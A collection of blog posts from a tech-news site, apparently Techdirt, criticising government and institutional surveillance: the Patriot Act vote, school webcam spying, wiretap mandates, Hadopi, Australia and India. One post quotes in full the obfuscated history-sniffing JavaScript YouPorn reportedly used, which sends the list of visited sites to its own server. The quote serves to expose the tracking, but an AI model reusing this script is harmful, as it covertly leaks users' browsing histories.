Surprise: House Did NOT Automatically Extend The Patriot Act

Surprises

from the didn't-see-that-coming dept

If you read the press reports this afternoon, you would have assumed that the House voting to simply extend the various (controversial) provisions of the Patriot Act until last this year was pretty much a foregone conclusion. Among the reports we saw:

• House is set to pass PATRIOT Act extension: “The House on Tuesday night was expected to pass a bill to renew for one year certain controversial sections of the USA PATRIOT Act that would otherwise expire this month.”
• Patriot Act Extension: A Matter of Timing?: “The House will likely vote this evening to extend three key portions of the Patriot Act, the contentious antiterrorism law passed in the wake of the Sept. 11, 2001 attacks.”
• House to pass Patriot Act extension: “The House is expected to approve a short-term extension of expiring parts of Patriot Act Tuesday night, forcing the Senate to tackle questions of how to deal with the counterterrorism surveillance law in the longer term.”

Turns out the conventional wisdom was wrong. The House could not conjure up enough votes to pass the extension. While a majority did vote for it, the rules required a 2/3 vote to pass and supporters of the extension fell 13 votes short — getting 277 in favor and 148 against. You can check out the roll call for the 148 Reps who didn’t just roll over.

Of course, this is hardly the end and it’s still widely expected that these provisions will get extended in one way or another. It appears that we don’t have any politicians interested in pointing out that these provisions go way beyond what is necessary and legal, so, of course, they’ll just get extended again at some point. Still, for a brief moment, it’s nice to see that not everyone in Congress would just role over and play dumb at hearing “Patriot Act.”

In case you were wondering about the three specific provisions, Wired has a good summary:

• The “roving wiretap” provision allows the FBI to obtain wiretaps from a secret intelligence court, known as the FISA court, without identifying the target or what method of communication is to be tapped.
• The “lone wolf” measure allows FISA court warrants for the electronic monitoring of a person for whatever reason — even without showing that the suspect is an agent of a foreign power or a terrorist. The government has said it has never invoked that provision, but the Obama administration said it wanted to retain the authority to do so.
• The “business records” provision allows FISA court warrants for any type of record, from banking to library to medical, without the government having to declare that the information sought is connected to a terrorism or espionage investigation.

Contrary to the claims of fear-mongering politicians, none of these provisions are necessary at all. They’re all about being able to spy on Americans with little or no oversight. The fact that they were allowed at all in the first place was in part due to the fact that it was post 9/11 and there was a “sunset clause” that would have them go away. It’s time Congress let them go.

Filed Under: extension, patriot act, spying

How YouPorn Tries To Hide That It's Spying On Your Browsing History

(Mis)Uses of Technology

from the what,-no-rot-13? dept

There’s a fair bit of attention being paid to a Forbes article about some new research concerning how a bunch of websites, including YouPorn, are exploiting a simple security hole to see what other sites you’ve visited:

How does it work? It’s based on your browser changing the color of links you’ve already clicked on. A script on the site exploits a Web privacy leak to quickly check and see whether your browser reveals that the links to a host of other porn sites have been assigned the color “purple,” meaning you’ve clicked them before.

This isn’t a huge surprise, but what I found most fascinating was how YouPorn sought to hide this bit of javascript by “encrypting” it. And by “encrypting” it, I mean switching letters one letter up in the alphabet. As Kashmir Hill explains:

The script on YouPorn?s site that checks a user?s history (which you can see for yourself by going to the site and checking out its html with ?View Source?) looks like this:

<script type="text/javascript">
function ypol(){var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",
2:"bevmugsjfoegjoefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",
5:"yoyy/dpn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",
8:"yibntufs/dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",
11:"csb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",
14:"gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dpn",
17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nbyqpso/dpn",
20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsopsbnb/dpn"};
var g=[];for(var m in k){var d=k[m];
var a="";for(var f=0;f<d.length;f++)
{a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false;
for(var j in {"http://":"","http://www.":""})
{var l=document.createElement("a");
l.href=j+a;document.getElementById("ol").appendChild(l);
var e="";if(navigator.appName.indexOf("Microsoft")!=-1){e=l.currentStyle.color}
else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue("color")}
if(e=="rgb(12, 34, 56)"||e=="rgb(12,34,56)"){h=true}}if(h){g.push(m)}}
var b=(g instanceof Array)?g.join(","):"";var c=document.createElement("img");
c.src="http://ol.youporn.com/blank.gif?id="+b;document.getElementById("ol").appendChild(c)}ypol();
</script>

That list of gibberish contains the sites that YouPorn is checking to see if you?ve visited, but disguises them with a bit o? simple cryptography. Dial back each letter by one, so ?qpsoivc/dpn?, for example, becomes ?pornhub.com.?

What’s amazing is that anyone actually thought this was a worthwhile move. It’s not that hard to “decrypt” and it’s almost obvious to the naked eye because it’s not too difficult to figure out how the “encryption” (and I use that word loosely) works just by noticing all the terms that end in /dpn. You’d think even a rot-13 would throw a few more people off the scent.

Filed Under: browsers, encryption, history, javascript, spying
Companies: youporn

Spying School District Pays Out $610,000 To Settle Lawsuit — Mostly To The Lawyers

Legal Issues

from the legal-fees dept

We’ve been following the case in suburban Philadelphia of the Lower Merion School District, which was sued by a student for spying on the student in his home with district issued laptops (the kid was disciplined for supposedly using drugs, with the evidence being a photo of him in his room at his laptop — the kid claims he was just eating Mike & Ikes candy). While the district initially denied it was spying on students, later reports found 58,000 images were taken, including 469 of another student who also sued.

While the feds declined to bring criminal charges, it looks like the school district has now settled the outstanding lawsuits mainly by giving the lawyers a big chunk of money. In total, the school district paid out $610,000, with $425,000 going to the lawyers. The student who brought the first case will get $175,000, and the student in the second case will get $10,000 (the article mistakenly suggests two separate payments of $185,000, but I believe that’s wrong). The district, in its announcement admits that, in total, this whole thing is costing about $1.2 million, which is actually being covered by insurance.

The situation is a bit tricky, because, in some sense, taxpayers are footing the bill for the district’s ridiculous policy choices (even though insurance is covering the direct cost). I would imagine that this sort of thing will act as a reasonable deterrent to other school districts considering (or already using) similar technology.

Filed Under: lower merion school district, schools, settlements, spying

Not Being Able To Spy On Everyone Online Is A Feature, Not A Bug

Privacy

from the tell-the-FBI dept

With the recent news coming out that the feds plan to introduce dangerous legislation early next year to mandate backdoors for wiretapping into every form of internet communications, plenty of people have expressed their horror at such a plan. It’s not just the basic questions of due process and privacy, but the massive burdens lumped upon all sorts of companies, combined with the equally worrisome security holes opened up by such demands.

Julian Sanchez has a wonderful article over at the American Prospect discussing just how problematic this plan would be:

But the current proposal is far more radical, in part because the Internet is not much like a traditional phone network. To see why, consider Skype, a popular program that allows users to conduct secure text chats, phone conversations, video conferences, and file transfers. Skype is designed as a distributed peer-to-peer network, meaning there’s no central hub or switching station through which calls are routed; only the login server used to register members as they sign on to the network is centralized. Calls are encrypted end-to-end, meaning that only the end users who are parties to a call hold the secret keys to secure the conversation against online snoops. There’s no device Skype can install at their headquarters that would let them provide police with access to the unencrypted communications; to comply with such a mandate, they’d have to wholly redesign the network along a more centralized model, rendering it less flexible, adaptable, and reliable as well as less secure.

Skype is just one of the thousands of firms, large and small, that would be burdened with the obligation to design their systems for breach. We’ve already seen how this can cause security vulnerabilities on traditional phone networks: In 2005, it was discovered that unknown hackers had exploited wiretap software built into Vodaphone Greece’s computer system for law-enforcement use to eavesdrop on the cellular phone conversations of high Cabinet officials and even the prime minister. Designing for surveillance means, more or less by definition, designing a less secure, more vulnerable infrastructure. It’s for just this reason that similar proposals were wisely rejected during the Crypto Wars of the 1990s, a decision that helped give rise to a thriving online economy that’s wholly dependent on strong encryption.

It’s not just hackers who could exploit such vulnerabilities, of course. A network architecture designed for the convenience of American law enforcement also necessarily makes eavesdropping easy for the many regimes whose idea of a “national-security threat” includes political dissent or blasphemous speech. And there’s always the threat of interception by insiders: An engineer at Google was recently fired for using his privileged access to snoop into the private accounts of several teenage users. One way to alleviate such concerns is for firms like Google to enable end-to-end encryption, so users can feel secure that even the company’s own employees won’t have the keys needed to read their communications. The government’s proposal would deny them the ability to make that promise.

Sanchez also has a wonderful line towards the end. In discussing why law enforcement would obviously love this kind of access (while also highlighting its widespread past abuses of wiretapping ability, he notes:

But while governments may consider it a bug when network architecture renders such sweeping surveillance infeasible, citizens should probably regard it as a feature.

An important feature, too, and one that we shouldn’t easily part with just because a government with a history of abusing surveillance rights doesn’t want to do any legwork anymore.

Filed Under: internet, spying, surveillance, us government

Hadopi's Secret Internet Spying Spec Leaked

(Mis)Uses of Technology

from the now-doesn't-that-make-you-feel-good dept

As a part of France’s three strikes law, the organization in charge of implementing the program, Hadopi (which, we should remind you, was caught infringing itself in using a font it did not license for its logo), has been tasked with figuring out a way to actually block people from the internet, or to stop them from using certain file sharing programs. While there were public consultations on how to do this, the actual technical spec was supposed to have been kept secret. Not surprisingly, that didn’t last very long. Glyn Moody points us to the news that the tool’s spec has leaked. Basically, it’s your everyday snooping software, that will monitor all internet traffic, including searching through files on your computer, and checking the router configuration. It will also act as a creepy form of Big Brother, with an alert system which, if it notices you using a file sharing program, says things like: “You are about to download a file using a P2P protocol – do you want to continue?” One hopes that it would include a button that says “Yes, Dammit, I’m Downloading Linux” or something of the sort, but that seems unlikely. The link above also notes that this appears to violate EU law, which prohibits a “general obligation to monitor.”

Filed Under: hadopi, spying

Second Lawsuit Over School Webcams Involves Student Who Was Photographed 469 Times Over 2 Months

Privacy

from the what-happened-to-42-times? dept

Remember the school district in suburban Philadelphia involved in a lawsuit over secretly taking webcam images of students? The school initially denied things, and later said that it had only used the feature 42 times to help find lost or stolen laptops. However, a law firm brought on by the school to investigate its use of the LanRev system found 58,000 images were taken. That’s led some other students to realize that they might have a beef with the Lower Merion School district as well. A second student has now filed a lawsuit against the school after discovering that the school took 469 secret photographs from his webcam over the course of two months.

What happened was that the student lost his laptop on December 18th. The laptop was found by a teacher and returned to the student on the 21st… but also on the 21st, the school’s IT folks turned on LanRev’s “TheftTrak” service. Even though the laptop had been returned to the student, the LanRev system was never turned off. It took 469 secret images and captured 543 secret screenshots. It wasn’t turned off until that first lawsuit was filed, and someone in the IT department realized there might be an issue there…

What’s really scary? If a school administrator hadn’t revealed the whole system to the first student by showing him a photo of him at home, this would still be going on and none of the students would know about it. The only reason this lawsuit is being filed is because of the information that came out during the investigation into the first incident.

Filed Under: school, spying, webcams

Australian Gov't Censors Plans About Gov't Internet Censorship

Free Speech

from the to-avoid-premature-unnecessary-debate dept

As the Australian government pushes forward with plans to have ISPs spy on users as part of its effort to control and censor the internet, some have made a freedom of information request to see the details of the plan… and the government provided the documents with 90% of the content blacked out. Yes, the government is censoring its plans about censorship. Even better is the “reasoning” for this. Government officials defended the move by saying it:

“may lead to premature unnecessary debate and could potentially prejudice and impede government decision making”.

Yes, how dare the people make their views known in a way that lets the government know they don’t approve. That would be a representative government, and apparently Australia doesn’t believe in such things.

Filed Under: australia, censorship, isps, public debate, spying

Indian Government Demands Right To Spy On Skype, Gmail, Blackberry Messages

Privacy

from the spying-more-important-than-productivity dept

Last year we noted that Indian intelligence officials were quite concerned about Skype, and the fact that they couldn’t easily tap into communications on Skype. Two years ago, we noted a similar story concerning RIM Blackberry emails. Now Slashdot points us to the news that India’s government is once again demanding that Skype and RIM make sure their services are in formats that can be read by law enforcement. A separate article says similar demands are being made on Google with respect to Gmail.

Of course, last time this happened (with RIM, at least), RIM pointed out that there’s simply no way for it to decrypt email sent by users, since it’s based on an encryption key set up by the end user. In response, the Indian government claimed that it had cracked the encryption used by Blackberries and was able to monitor messages sent via those devices. Of course, the fact that it’s now pressuring RIM to format messages in easily spied-upon ways, certainly suggests the news of the cracking of Blackberry’s encryption was somewhat exaggerated.

Filed Under: blackberry, encrypted, gmail, india, messages, skype, spying
Companies: google, rim, skype

Schools & Governments Blocking Google Because It Won't Let Them Spy On Users

(Mis)Uses of Technology

from the which-is-it? dept

So various governments around the world remain furious with Google for its accidental Street View wifi data collection. However, at the same time, governments are also getting annoyed and using filters to block government employees from using Google products because Google is now increasingly running more and more of its apps (including search and Gmail) via SSL, making it harder for those gov’t agencies to spy on what users are doing. So… which is it? Is Google bad for spying on data? Or is Google bad for not letting governments spy on data?

Filed Under: governments, security, spying, ssl
Companies: google